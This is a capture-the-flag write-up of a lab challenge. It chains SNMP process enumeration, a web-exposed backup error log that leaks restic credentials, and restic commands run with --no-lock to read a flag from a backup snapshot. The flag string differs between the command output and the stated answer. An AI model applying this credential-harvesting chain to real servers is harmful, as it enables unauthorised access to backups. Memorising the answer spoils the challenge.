

# Admin Johnson

## Admin Johnson

### 3

Hi, TCC-CSIRT analyst,

admin Johnson began testing backup procedures on server `johnson-backup.cypherfix.tcc`, but left the process incomplete due to other interesting tasks. Your task is to determine whether the current state is exploitable.

Initial nmap scan on the target server reveals that there's a webserver running on port 80 and SNMP multiplexer on port 199.

```
$ nmap -p- -sV johnson-backup.cypherfix.tcc
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-05 10:57 EST
Nmap scan report for johnson-backup.cypherfix.tcc (10.99.24.30)
Host is up (0.0057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.62 ((Debian))
199/tcp    open  smux     Linux SNMP multiplexer
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds
```

The exposed SNMP service can be exploited to gather information about the running processes on the server among other things. The list of processes shows that there's a backup script running on the server called `restic.sh`. Output of this script is redirected to an error log which is placed in a directory within the webserver's root.

```
$ snmpwalk -v1 -c public johnson-backup.cypherfix.tcc
iso.3.6.1.2.1.25.4.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.25.4.2.1.1.7 = INTEGER: 7
iso.3.6.1.2.1.25.4.2.1.1.8 = INTEGER: 8
...
```

```
iso.3.6.1.2.1.25.4.2.1.5.7 = STRING: "/usr/sbin/apache2ctl -D FOREGROUND"
iso.3.6.1.2.1.25.4.2.1.5.8 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.9 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.14 = STRING: "-f"
iso.3.6.1.2.1.25.4.2.1.5.18 = STRING: "-c /etc/scripts/restic.sh >>
/var/www/html/1790c4c2883ad30be0222a3a93004e66/restic.err.log 2>&1"
iso.3.6.1.2.1.25.4.2.1.5.20 = STRING: "/etc/scripts/restic.sh"
iso.3.6.1.2.1.25.4.2.1.5.28 = STRING: "-D FOREGROUND"
...
iso.3.6.1.2.1.25.4.2.1.7.3281 = INTEGER: 2
End of MIB
```

This error log contains, except for the script errors, also the initial backup command utilizing `restic`. This command includes the credentials to the backup server.

```
$ curl http://johnson-backup.cypherfix.tcc/1790c4c2883ad30be0222a3a93004e66/restic.err.log
restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-server.cypherfix.tcc:8000/test check
using temporary cache in /tmp/restic-check-cache-3629819862
create exclusive lock for repository
Save(<lock/66761ff991>) returned error, retrying after 552.330144ms: server response unexpected: 500 Internal Server Error (500)
Save(<lock/66761ff991>) returned error, retrying after 1.080381816s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/66761ff991>) returned error, retrying after 1.31013006s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/66761ff991>) returned error, retrying after 1.582392691s: server response unexpected: 500 Internal Server Error (500)
Save(<lock/66761ff991>) returned error, retrying after 2.240488664s: server response unexpected: 500 Internal Server Error (500)
```

Using the command as is gives a bunch of 500 errors same as the error log shows. This is due to the backend not being able to create a lock on the repository as stated at the end of the error log (*unable to create lock in backend*). Solution to this problem is using the `restic` command with the `--no-lock` option. With this option the `check` subcommand completes successfully.

```
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-
server.cypherfix.tcc:8000/test -p <(echo KGDkjgsdsdg883hhd) --no-lock check
using temporary cache in /tmp/restic-check-cache-1511361735
repository 902ea39d opened (version 2, compression level auto)
created new cache in /tmp/restic-check-cache-1511361735
load indexes
[0:00] 100.00% 1 / 1 index files loaded
check all packs
check snapshots, trees and blobs
[0:00] 100.00% 1 / 1 snapshots
no errors were found
```

Using other subcommands, the repository can be further analyzed. First find that there's only a single snapshots with the `list snapshots` command.

```
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-
server.cypherfix.tcc:8000/test -p <(echo KGDkjgsdsdg883hhd) --no-lock list
```

```
snapshots
repository 902ea39d opened (version 2, compression level auto)
8dfb6a02f22d1a2b99add7f37cf2bef54e374edc2a79530f5e5c15897c67d530
```

Then list files in snapshot

8dfb6a02f22d1a2b99add7f37cf2bef54e374edc2a79530f5e5c15897c67d530 . There's only a single file, which is a file with the flag.

```
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-
server.cypherfix.tcc:8000/test -p <(echo KGDkjgsdsdg883hhd) --no-lock ls
8dfb6a02f22d1a2b99add7f37cf2bef54e374edc2a79530f5e5c15897c67d530
repository 902ea39d opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
snapshot 8dfb6a02 of [/etc/secret] at 2024-10-14 20:56:18.631782921 +0000
UTC by root@fcf671955256 filtered by []:
/etc
/etc/secret
/etc/secret/flag
```

Now, listing the blobs in the repository reveals the ID of the single data blob which is the file with the flag. The ID of that blob is

01d81266ad2ee1e23652cefebe4e11d06c4c438f8444d204ef0a891bfa32d686 .

```
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-
server.cypherfix.tcc:8000/test -p <(echo KGDkjgsdsdg883hhd) --no-lock list
blobs
repository 902ea39d opened (version 2, compression level auto)
data 01d81266ad2ee1e23652cefebe4e11d06c4c438f8444d204ef0a891bfa32d686
tree 905defa961c8271721ca986318235812d275d378765eb50bb83f646dfcd6a0e1
tree 46853d09fe11e73e052d7bf19e28b7dc4d63c64f655d7c937c746db11056a4bf
tree cb30792708ef19affd1e05bdd101a36adc0d478bea57cbf65fc385910c9068c0
```

Finally, with this ID, it is possible to print the contents of the blob using the `cat blob` command.

```
$ restic -r rest:http://johnson:KGDkjgsdsdg883hhd@restic-
server.cypherfix.tcc:8000/test -p <(echo KGDkjgsdsdg883hhd) --no-lock cat
blob 01d81266ad2ee1e23652cefebe4e11d06c4c438f8444d204ef0a891bfa32d686
repository 902ea39d opened (version 2, compression level auto)
[0:00] 100.00% 1 / 1 index files loaded
FLAG{OItn-zKZW-cht7-RNH4}
```

The flag is `FLAG{0Itn-zKZW-cht7-RNH4}` .